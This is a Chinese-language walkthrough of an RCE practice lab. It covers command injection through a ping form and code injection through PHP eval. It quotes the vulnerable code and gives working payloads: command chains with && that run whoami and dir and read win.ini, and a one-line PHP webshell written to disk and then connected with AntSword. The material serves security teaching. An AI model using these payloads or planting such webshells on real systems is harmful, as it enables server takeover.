目录
一、RCE
1.简介
RCE(remote command/code execute)概述
分为远程命令执行ping和远程代码执行eval
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
后端代码:
远程命令执行ping:
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
远程代码执行evel:
if(@!eval($_POST['txt']))
可以看出没有做处理,和上面(远程命令执行ping)不同的是,这里是PHP代码,而上面(远程命令执行ping)执行的是命令行。
二、闯关
1.exec "ping"
先ping一下本机127.0.0.1
逻辑运算符 | || & &&
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
(Linux中的&是后台运行,最后和;是一样的效果。。。当然最后的结果都是一样的)
Command 1||Command 2
当Command1执行成功,就不执行Command2,只有当Command1执行失败才会执行Command2。
Command 1|Command 2
不管Command1是否可以执行成功,都会写很执行Command2。
查看用户 构造payload:127.0.0.1 && whoami
查看当前路径和路径下的文件
payload :127.0.0.1 && dir
查看文件内容
payload :127.0.0.1 && type C:\Windows\win.ini
代码
本关代码中,首先将$ _POST[‘ipaddress’]赋值给$ip,然后直接未经任何处理就将其传入shell_exec()函数执行,造成命令可拼接执行。
2.exec "eval"
输入phpinfo();
phpinfo()函数被执行了
我们还可以上传一句话木马
payload:
fputs(fopen('shell.php','w'),'<?php assert($_POST["eval"]?>');
查看相应目录,上传成功!
用蚁剑进行连接
连接成功!!!
代码
可以看到不存在任何校验。直接把输入的内容放在 eval() 函数中。